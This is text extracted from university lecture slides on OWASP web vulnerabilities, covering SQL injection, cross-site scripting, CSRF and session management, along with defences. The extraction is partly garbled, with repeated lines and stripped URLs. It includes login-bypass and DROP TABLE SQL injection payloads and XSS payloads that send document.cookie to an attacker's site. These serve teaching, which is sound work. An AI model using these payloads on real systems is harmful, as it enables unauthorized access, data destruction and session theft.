Lecture 16

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

1.Injection Flaws a) SQL Injection, XPATH Injection, etc 2.Cross-Site Scripting (XSS) 3.Cross-Site Request Forgery (CSRF) 4.Insecure Direct Object Reference 5.Broken Authentication and Session Management 6.Failure to Restrict URL Access 7.Insecure Cryptographic Storage

A class of code-injection attacks, in which data provided by the user is included in an SQL query in such a way that part of the user’s input is treated as SQL code 8

Two important characteristics: – Injection mechanism – Attack intent 9

Injection through user input Injection through cookies Injection through server variables Second-order injection 10 First-order injection

The application processes the input, causing the attacker’s injected SQL query to execute. Second-order injection The application stores that input for future use (usually in the database), and responds to the request. The attacker submits a second (different) request. To handle the second request, the application retrieves the stored input and processes it, causing the attacker’s injected SQL query to execute. 11

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; User ID : Password : mshb95 mypassword select * from Users where user_id = ‘mshb95’ and password = ‘mypassword’ User ID : Password : mshb95 ‘ OR 1 = 1 select * from Users where user_id = ‘mshb95’ and password = ‘’ OR 1 = 1

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; select * from Users where user_id = ‘’ OR 1 = 1 ; /* ‘and password = ‘*/--’ No need to know the user id User ID : Password : ‘ OR 1 = 1 ; /* */--

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; User ID : Password : ‘ OR 1 = 1 ; DROP TABLE X/* */-- select * from Users where user_id = ‘’ OR 1 = 1 ; DROP TABLE X /* ‘and password = ‘*/--’

15 Inserting text fields that will pass initial validation, but could be used later on. – e.g. Adding a new user on a web form – Username: alice'' or username=''admin – After insert actual user name in database alice’ or username=‘admin – Later, the user updates her password. – The application runs: update users set password='$password' where username='$username' – The query expands to: update users set password='newpw' where username='alice' or username='admin'

Option #1: Validate all inputs, reject evil inputs – Regexps work pretty well on numbers Option #2: Use mysql_real_escape_string – Prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. Option #3: Have length limits on input – Many SQL injection attacks depend on entering long strings

Option #4: Scan query string for undesirable word combinations that indicate SQL statements – INSERT, DROP, etc. – If you see these, can check against SQL syntax to see if they represent a statement or valid user input Option #5: Limit database permissions and segregate users Option #6: Use prepared or parameterized statements instead of concatenating

“Injection Flaw” is a blanket term SQL Injection is most prevalent Other forms: – XPath Injection – Command Injection – LDAP (Lightweight Directory Access Protocol) Injection – DOM (Document Object Model) Injection – JSON (Javascript Object Notation) Injection – Log Spoofing – On and on and on…

Cross-Site Scripting, or XSS (not to be confused with CSS or Cascading Style Sheets), allows attackers to inject client-side script in a web page. The attacker injects script, such as JavaScript, VBScript, ActiveX, HTML, or Flash into an application to try to get access to sensitive information Dynamic websites (using AJAX, Flex, for example) are vulnerable. Static websites are not at risk.

Web pages (HTML) can embed dynamic contents (code) that can be executed on the browser JavaScript – embedded in web pages and executed inside browser VBScript – similar to JavaScript, only for Windows Java applets – small pieces of Java bytecodes that execute in browsers CS52622Fall 2011/Topic 8

… var num1, num2, sum num1 = prompt("Enter first number") num2 = prompt("Enter second number") sum = parseInt(num1) + parseInt(num2) alert("Sum = " + sum) … Browser receives content, displays HTML and executes scripts CS52623Fall 2011/Topic 8

Client-side scripting is powerful and flexible, and can access the following resources – Local files on the client-side host read / write local files – Webpage resources maintained by the browser Cookies Domain Object Model (DOM) objects – steal private information – control what users see – impersonate the user – Many more CS52624Fall 2011/Topic 8

function ajaxResponse() { // check to see if we're done // check to see if we're done if (ajaxRequest.readyState != 4) if (ajaxRequest.readyState != 4) return; return; else else { // check to see if successful { // check to see if successful if (ajaxRequest.status == 200) if (ajaxRequest.status == 200) { document.getElementById("showtime").innerHTML = document.getElementById("showtime").innerHTML = ajaxRequest.responseText; ajaxRequest.responseText; } else else alert("Request failed: " + ajaxRequest.statusText); alert("Request failed: " + ajaxRequest.statusText); }}

Web users visit multiple websites simultaneously A browser serves web pages (which may contain programs) from different web domains – i.e., a browser runs programs provided by mutually untrusted entities – Running code one does not know/trust is dangerous – A browser also maintains resources created/updated by web domains Browser must confine (sandbox) these scripts so that they cannot access arbitrary local resources Browser must have a security policy to manage/protect browser-maintained resources and to provide separation among mutually untrusted scripts CS526Fall 2011/Topic 826

The basic security model enforced in the browser SOP isolates the scripts and resources downloaded from different origins – E.g., evil.org scripts cannot access bank.com resources Use origin as the security principal Origin = domain name + protocol + port – all three must be equal for origin to be considered the same CS52627Fall 2011/Topic 8

Same-origin policy applies to the following accesses: – manipulating browser windows – URLs requested via the XmlHttpRequest XmlHttpRequest is an API that can be used by web browser scripting languages to transfer XML and other text data to and from a web server using HTTP, by establishing an independent and asynchronous communication channel. – used by AJAX – manipulating frames (including inline frames) – manipulating documents (included using the object tag) – manipulating cookies

Poorly enforced on some browsers – Particularly older browsers Limitations if site hosts unrelated pages – Example: Web server often hosts sites for unrelated parties – Same-origin policy, allows script on one page to access properties of document from another Can be bypassed in Cross-Site-Scripting attacks

Reflected XSS Stored XSS (a.k.a. “Persistent XSS”)

This script is named welcome.cgi, and its parameter is “name”. It can be operated this way: GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: And the response would be: Welcome! Hi Joe Hacker Welcome to our system...

welcome.cgi?namewelcome.cgi?name= alert(document.cookie)

 The victim, upon clicking the link, will generate a request to as follows: GET/welcome.cgi?name= alert(document.cookie) HTTP/1.0 Host: And the vulnerable site response would be: Welcome! Hi alert(document.cookie) Welcome to our system

The victim client’s browser would interpret this response as an HTML page containing a piece of Javascript code. This code, when executed, shows a pop-up window showing all client cookies belonging to Of course, a real attack would consist of sending these cookies to the attacker. For this: – The attacker may erect a web site ( – Use a script to receive the cookies. – Instead of popping up a window, send it to his/her own site (

The malicious link would be: window.open( “ And the response page would look like: Welcome! Hi window.open(“ ment.cookie) Welcome to our system...

Attack Server Server Victim User Victim Inject malicious script request content receive malicious script steal valuable data 4 Store bad stuff Download it

JavaScript supplied by the attacker is stored by the website (e.g. in a database) Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page More dangerous than Reflected XSS – Has resulted in many XSS worms on high profile sites like MySpace and Twitter

Everyone can post comments, which will be displayed to everyone who view the post Attacker posts a malicious comment that includes scripts window.open(“ ookie=”+document.cookie) Anyone who view the post can have local authentication cookies stolen Web apps will check that posts do not include scripts, but the check sometimes fail.

Users can post HTML on their pages – MySpace.com ensures HTML contains no,, onclick, – However, attacker find out that a way to include Javascript within CSS tags: And can hide “javascript” as “java\nscript” With careful javascript hacking: – Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. – Samy had millions of friends within 24 hours. More info:

Results from bad implementation of authentication and session management – An attacker steals credentials or hijack a session Could happen – if you are not using https on authenticated pages – Because of XSS flaws we discussed earlier – if an attacker can get your password – Application session timeout is set for a very long time, at a public terminal, user closes browser instead of logging out

Always use https for any authenticated URLs If storing credentials in a database, store them encrypted or hashed Set session timeouts to as low as possible to reduce the risk of exposure to someone who forgets to log out at a public terminal

1.Injection Flaws a) SQL Injection, XPATH Injection, etc 2.Cross-Site Scripting (XSS) 3.Cross-Site Request Forgery (CSRF) 4.Insecure Direct Object Reference 5.Broken Authentication and Session Management 6.Failure to Restrict URL Access 7.Insecure Cryptographic Storage

CSRF is a request made to the server that the server is not able to determain whether the request is coming from the user or an attacker.

Browser Bank Facebook Bill Favorite Forum/blog

Re-authenticate or CAPTCHA for extra- sensitive pages Good frameworks save a unique ID in the session and verify each request